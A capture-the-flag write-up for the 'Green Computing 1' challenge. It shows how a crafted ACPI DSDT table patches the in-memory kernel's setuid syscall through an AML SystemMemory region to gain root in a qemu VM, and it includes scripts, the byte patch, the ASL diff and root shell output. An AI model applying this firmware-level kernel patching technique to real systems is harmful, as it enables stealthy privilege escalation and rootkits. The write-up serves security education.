Green Computing 1
The challenge consists of a linux kernel and userland run in qemu using the wrapper script run.py
. Before starting qemu, we can provide a hex-encoded string that will overwrite the DSDT
ACPI table.
The organizers messed up a bit and left the monitor port open in the chall, so they released a second, fixed challenge later. However, we just exploited the fixed version and used that exploit against the unfixed one as well.
ACPI basics - the CTF edition
The ACPI standard defines an interface between the operating system and the firmware. The bootrom provides the kernel with tables containing bytecode called ACPI Machine Language (AML) that both describes the peripherals and contains methods to interact with them. These methods get executed by the kernel at boot time - for example during device discovery. The cool thing is, the virtual machine executing the code is all-mighty, and can access all physical memory.
The interesting table for this challenge is the DSDT. We can dump that:
from base64 import b64decode
from pwn import *
p = process(['qemu-system-x86_64', '-m', '1337M', '-kernel', 'bzImage', '-initrd', 'init_censored.cpio', '-append', 'console=ttyS0 nokaslr panic=-1 init=/bin/sh', '-nographic', '-no-reboot'])
with log.progress("booting") as pg:
p.recvuntil("/ # ")
p.recvuntil("clocksource: Switched to clocksource tsc")
pg.status("installing busybox")
p.send("/bin/busybox --install -s\n")
p.recvuntil("/ # ")
pg.status("mounting sys")
p.send("mkdir -p /sys\n")
p.recvuntil("/ # ")
p.send("mount -t sysfs none /sys\n")
p.recvuntil("/ # ")
pg.status("getting default DSDT")
p.send("base64 < /sys/firmware/acpi/tables/DSDT\n")
p.recvuntil("base64 < /sys/firmware/acpi/tables/DSDT\r\n")
dsdt = p.recvuntil("/ # ", drop=True)
with open("default-dsdt.aml", "w") as f:
f.write(b64decode(dsdt.replace('\n', '')))
There is a compiler that compiles and decompiles the human readable ACPI Source Language (ASL) to AML and vice versa:
sudo apt install acpica-tools
# decompile dsdt.aml -> dsdt.dsl
iasl dsdt.aml
# compile dsdt.dsl -> dsdt.aml
iasl dsdt.dsl
The DSDT we provide to the chall gets packed into a ramdisk which is prepended to the initrd. This can overwrite the default DSDT if we bump the OEM revision:
-DefinitionBlock ("", "DSDT", 1, "BOCHS ", "BXPCDSDT", 0x00000001)
+DefinitionBlock ("", "DSDT", 1, "BOCHS ", "BXPCDSDT", 0x00000002)
In the boot messages we can then see that it gets overwritten:
RAMDISK: [mem 0x538dd000-0x538dffff]
ACPI: DSDT ACPI table found in initrd [kernel/firmware/acpi/dsdt.aml][0x18a3]
[...]
ACPI: Table Upgrade: override [DSDT-BOCHS -BXPCDSDT]
ACPI: DSDT 0x00000000538E0040 Physical table override, new table: 0x00000000538DB000
ACPI: DSDT 0x00000000538DB000 0018A3 (v02 BOCHS BXPCDSDT 00000002 INTL 20160831)
Now we can start patching our code, but what do we actually want to do?
Finding a Target
Getting /etc/init
from the init_censored.cpio, we see that we drop privileges to the user hxp
, but the flag is only readable as root
:
#!/bin/sh
set -euo pipefail
# systemd drop-in replacement
/bin/busybox --install -s
chown -R root:root /flag
chmod 400 /flag
mkdir -p /home/hxp /proc /sys
mount -t proc none /proc
mount -t sysfs none /sys
cat << EOF
_ ____ _____ _____ ____ ___ _ ___
| |__ __ ___ __ / ___|_ _| ___| |___ \ / _ \/ |( _ )
| '_ \\\\ \/ / '_ \ | | | | | |_ __) | | | | |/ _ \
| | | |> <| |_) | | |___ | | | _| / __/| |_| | | (_) |
|_| |_/_/\_\ .__/ \____| |_| |_| |_____|\___/|_|\___/
|_|
|_|
Deutsche Leidkultur
EOF
exec setuidgid hxp sh
This means, we basically have to either escalate privileges or change the behaviour of setuidgid. So let’s see what that does:
strace bin/busybox setuidgid $(whoami) sh
[...]
setgid(1000) = 0
[...]
setuid(1000) = 0
[...]
The setuid
syscall looks promising, so let’s take a look at that. First, we extract /proc/kallsyms
from the kernel (pretty much the same way as we extracted the default DSDT.), and get the kernel-virtual address of the setuid syscall:
grep setuid kallsyms
ffffffff810406a0 T SyS_setuid
ffffffff810406a0 T sys_setuid
ffffffff81049d50 W sys_setuid16
ffffffff810eb8c0 T cap_task_fix_setuid
Next, we need to decompress the bzimage using the extract-vmlinux tool to get the actual kernel ELF.
The sys_setuid
syscall contains two interesting basic_blocks, one that calls prepare_creds
and one that calls commit_creds
:
If we patch the jump out of the basic block at 0xffffffff810406b4
to a jnz
to the basic block at 0xffffffff81040752
, we get a basic commit_creds(prepare_creds()); return
syscall. The final patch are just 2 bytes:
-0xffffffff810406C3: 84 af
+0xffffffff810406C3: 85 8a
Writing the exploit
First we need to find the physical base address of the kernel. This is always 0x1000000
if kaslr is off, but we can verify that using the info tlb
qemu monitor command. So the actual physical address we want to patch at is 0x10406c3
.
Following along the rootkit described in Duflot et al, we define a region over these two bytes in our DSDT and overwrite this in a method that gets called:
-DefinitionBlock ("", "DSDT", 1, "BOCHS ", "BXPCDSDT", 0x00000001)
+DefinitionBlock ("", "DSDT", 1, "BOCHS ", "BXPCDSDT", 0x00000002)
{
Scope (\)
{
+ OperationRegion (PWN, SystemMemory, 0x10406c3, 0x2)
+ Field (PWN, AnyAcc, NoLock, Preserve)
+ {
+ PWN1, 8,
+ PWN2, 8
+ }
+
OperationRegion (DBG, SystemIO, 0x0402, One)
Field (DBG, ByteAcc, NoLock, Preserve)
{
@@ -279,6 +286,8 @@
Name (_UID, One) // _UID: Unique ID
Method (_STA, 0, NotSerialized) // _STA: Status
{
+ Store (0x85, PWN1)
+ Store (0x8a, PWN2)
Local0 = CAEN /* \_SB_.PCI0.ISA_.CAEN */
If ((Local0 == Zero))
{
We can throw this against remote and cat flag now:
/ # id
uid=0(root) gid=1000(hxp) groups=1000(hxp)
/ # cat flag
hxp{acpi_ACPI_we_hope_that_you_finally_used_these_tables_to_pwn!}
And against the unfixed version:
/ # id
uid=0(root) gid=1000(hxp) groups=1000(hxp)
/ # cat flag
hxp{pl3453_4ud17_y0ur_ACPI_74bl35_b3f0r3_7h1nk16_0f_7h3_3nv1r0nm3n7}
Thanks to 0xbb for a very illuminating challenge!
– plonk